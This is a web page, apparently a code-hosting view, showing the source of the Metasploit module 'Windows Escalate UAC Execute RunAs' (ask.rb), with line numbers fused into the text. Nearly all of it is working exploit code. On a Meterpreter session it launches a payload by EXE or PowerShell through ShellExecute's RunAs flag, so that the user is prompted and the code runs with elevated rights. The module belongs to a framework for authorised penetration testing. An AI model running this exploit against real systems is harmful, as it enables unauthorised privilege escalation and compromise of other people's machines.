Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/ask.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Post::Windows::Priv9include Post::Windows::Runas1011def initialize(info = {})12super(update_info(info,13'Name' => 'Windows Escalate UAC Execute RunAs',14'Description' => %q(15This module will attempt to elevate execution level using16the ShellExecute undocumented RunAs flag to bypass low17UAC settings.18),19'License' => MSF_LICENSE,20'Author' => [21'mubix', # Original technique22'b00stfr3ak' # Added powershell option23],24'Platform' => ['win'],25'SessionTypes' => ['meterpreter'],26'Targets' => [['Windows', {}]],27'DefaultTarget' => 0,28'DisclosureDate' => '2012-01-03'29))3031register_options([32OptString.new('FILENAME', [false, 'File name on disk']),33OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),34OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),35])36end3738def exploit39if is_uac_enabled?40print_status 'UAC is Enabled, checking level...'41case get_uac_level42when UAC_NO_PROMPT43print_good 'UAC is not enabled, no prompt for the user'44else45print_status "The user will be prompted, wait for them to click 'Ok'"46end47else48print_good 'UAC is not enabled, no prompt for the user'49end5051case datastore['TECHNIQUE']52when 'EXE'53shell_execute_exe(datastore['FILENAME'], datastore['PATH'])54when 'PSH'55shell_execute_psh56end57end58end596061